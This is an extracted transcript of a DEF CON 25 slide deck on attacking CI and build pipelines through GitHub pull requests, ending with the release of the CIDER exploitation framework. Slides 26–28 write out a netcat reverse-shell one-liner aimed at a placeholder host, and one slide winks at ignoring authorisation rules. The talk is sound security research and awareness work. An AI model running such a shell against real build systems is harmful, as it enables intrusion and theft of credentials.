Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... ·...
Transcript of Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... ·...
![Page 1: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/1.jpg)
Exploiting Continuous Integration (CI) and
Automated Build Systems
And introducing CIDER
![Page 2: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/2.jpg)
Whoami
• SpaceB0x• Sr.SecurityEngineeratLeanKit• Applicationandnetworksecurity(offenseanddefense)• Ilikebreakingintosystems,buildingsystems,andlearning• Securityconsultant
![Page 3: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/3.jpg)
./agenda.sh
• OverviewofContinuousIntegrationconcepts• ConfigurationVulnerabilitiesvs.ApplicationVulnerabilities• Realworldexploit#1• CommonBad-practices• Realworldexploit#2– AttackingtheCIprovider• IntroduceCIDER
![Page 4: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/4.jpg)
ContinuousIntegration
![Page 5: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/5.jpg)
ContinuousIntegration(CI)
• Quickiterativereleaseofcodetoproductionservers• UsuallyManyiterationsperweekorevenperday.• Repositorycentric• InsyncwithAutomatedBuild• Forinfrastructure/servers/subnetsetc.
![Page 6: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/6.jpg)
Microservices
• Breakingdownlargeappintosmalldecoupledcomponents• Thesecomponentsinteractwitheachother• Eliminatessinglepointsoffailure• Autonomousdevelopment
![Page 7: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/7.jpg)
SecurityImplications
• Good- Frequentreleasecyclesarefabulous!• Good- Fastercodedeployments=quickremediation• Good- Decoupledsystemsreducedsinglepointsoffailure• Good- Compromiseofoneservicedoesn’t(always)meanfullpwnage
![Page 8: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/8.jpg)
SecurityImplications
• Good- Frequentreleasecyclesarefabulous!• Good- Fastercodedeployments=quickremediation• Good- Decoupledsystemsreducedsinglepointsoffailure• Good- Compromiseofoneservicedoesn’t(always)meanfullpwnage
• Bad- Fastreleasesometimesmeanshastyoversights• Bad– AutomatedDeploymentsystemsarechecked lessthanthecodethattheydeploy
![Page 9: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/9.jpg)
Tools
![Page 10: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/10.jpg)
BuildSystems
• Takecodeandbuildconditionally• Typicallyinaquasicontainerizedtypeofenvironment• Bothlocalandcloudbasedarepopular
• Vendor:ØTravis-CIØCircle-CIØDroneØTeamCityØBuildKite
![Page 11: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/11.jpg)
DeploymentSystems
• Deploythecodeafterbuild• Headingmoreandmoretowardcontainerdriven
• VendorsØJenkinsØOctopusDeployØKubernetesØRancherØMesosphere
![Page 12: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/12.jpg)
ChainsofDeployment
![Page 13: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/13.jpg)
ChainsofDeployment
![Page 14: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/14.jpg)
Chainsofdeployment
![Page 15: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/15.jpg)
ChecksintheSDLC
• Buildtestbeforemerges• Web-hookstriggerspecificactionsbasedonconditions• Servicesconfiguredwithoutregardtooneanother
![Page 16: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/16.jpg)
ConfigurationProblems
![Page 17: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/17.jpg)
GitHub– Hugeattacksurface
• Pullrequestsandcommitstriggerbuilds• Buildconfigurationsnormallyinrootofrepo• Thusbuildconfig changecanbepartofPRorcommit• Gaincontrolofmultiplesystemsthroughpullrequests
![Page 18: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/18.jpg)
VulnerabilitiesareinMisconfiguration
• Creativeconfigurationexploitation• Vuln stackingatit’sfinest• Eachindividualservicemaybefunctioningexactlyasintended• Interactionbetweenservicesiswheremanyvulnerabilitieslie
![Page 19: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/19.jpg)
ExternalRepos
• Mostvolatileattacksurface• Publicrepositorieswhichmaptointernalbuildservices
![Page 20: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/20.jpg)
RealWorldHax #1
![Page 21: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/21.jpg)
![Page 22: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/22.jpg)
![Page 23: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/23.jpg)
![Page 24: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/24.jpg)
![Page 25: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/25.jpg)
![Page 26: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/26.jpg)
mknod /tmp/backpipe p
![Page 27: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/27.jpg)
mknod /tmp/backpipe p/bin/sh 0</tmp/backpipe|nc x.x.x.x 4444 1>/tmp/backpipe
![Page 28: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/28.jpg)
mknod /tmp/backpipe p/bin/sh 0</tmp/backpipe|nc x.x.x.x 4444 1>/tmp/backpipe
nc –l 4444
![Page 29: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/29.jpg)
root
![Page 30: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/30.jpg)
Bad-PracticesWorst-Practices
![Page 31: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/31.jpg)
EnvironmentVars
• Beingusedtostorecredentials• Storingmetadataforotherserviceswithinmicro-serviceinfrastructure
![Page 32: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/32.jpg)
Runeverythingasroot
• Justacontainer,rightguyz?• Younowhaveinternalnetworkaccess• Fullcontroltobuildaugmenttheimage
![Page 33: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/33.jpg)
CIProviderInfoleak
• ProblemswiththeCIProvidersthemselves• LeakSSHkeys,etc.whichcancompromiseothercustomersonhost• CIprovidershaveatleastsomepermissionstoGitHubrepos• CloudbasedCIprovidershaveahostingenvironment• Speakingofwhich…
![Page 34: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/34.jpg)
RealWorldHax #2
![Page 35: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/35.jpg)
![Page 36: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/36.jpg)
![Page 37: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/37.jpg)
IntroducingCIDER
![Page 38: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/38.jpg)
WhatisCIDER?
•ContinuousIntegrationandDeploymentExploiteR
![Page 39: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/39.jpg)
WhatisCIDER?
•ContinuousIntegrationandDeploymentExploiteR• FrameworkforexploitingandattackingCIbuildchains
![Page 40: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/40.jpg)
WhatisCIDER?
•ContinuousIntegrationandDeploymentExploiteR• FrameworkforexploitingandattackingCIbuildchains• MainlyleveragesGitHubasattacksurfacetogettobuildservices
![Page 41: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/41.jpg)
WhatisCIDER?
•ContinuousIntegrationandDeploymentExploiteR• FrameworkforexploitingandattackingCIbuildchains• MainlyleveragesGitHubasattacksurfacetogettobuildservices• Takesthemessoutforking,PR-ing,callbacking
![Page 42: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/42.jpg)
WhatisCIDER?
•ContinuousIntegrationandDeploymentExploiteR• FrameworkforexploitingandattackingCIbuildchains• MainlyleveragesGitHubasattacksurfacetogettobuildservices• Takesthemessoutforking,PR-ing,callbacking• Itwillpoisonahandfulofbuildservicesand”exploits”foreachone
![Page 43: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/43.jpg)
WhyCIDER?
• Fun• Makeattackingeasy• Awareness• RottenApple by@claudijd• Facilitatefurtherresearch
![Page 44: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/44.jpg)
CIDERoverview
![Page 45: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/45.jpg)
CIDER– ‘help’
![Page 46: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/46.jpg)
CIDER– ‘addtarget’&‘listtargets’
![Page 47: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/47.jpg)
CIDER– ‘load’and‘info’
![Page 48: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/48.jpg)
CIDERfeatures
• Node.JS• Buildmodularly• Canhandlebulklistsoftargetrepos• CleanupforGitHubrepocraziness• Ngrok – becauseportforwardingandpublicIPssuck
![Page 49: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/49.jpg)
Ngrok
![Page 50: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/50.jpg)
Disclaimer
• ItisagainsttheGitHubuseragreementtotestagainstarepository,evenifyouhavepermissionfromtheowneroftherepo
• Youmustbetheownertotestarepo• Whentestingaskthemtomakeyouanowner
![Page 51: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/51.jpg)
WINKWINK
![Page 52: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/52.jpg)
DEMO
![Page 53: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/53.jpg)
Limitations
• BuildQueues• GitHubNoise• Timeouts• RepoAPIrequestthrottling
![Page 54: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/54.jpg)
Justthebeginning…
• MoreCI-Frameworks• Starttacklingdeploymentservices• Startexploringotherentrypoints
• Othercoderepositories• ChatOps (Slack)
![Page 55: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/55.jpg)
Thanks
• LeanKitOperationsTeam• EvanSnapp• @claudijd
![Page 56: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing](https://reader034.fdocuments.us/reader034/viewer/2022042222/5ec9572414aba354c66e1e4d/html5/thumbnails/56.jpg)
Fin
CIDERonGithub: https://github.com/spaceB0x/cider
Twitter:@spaceB0xxwww.untamedtheory.com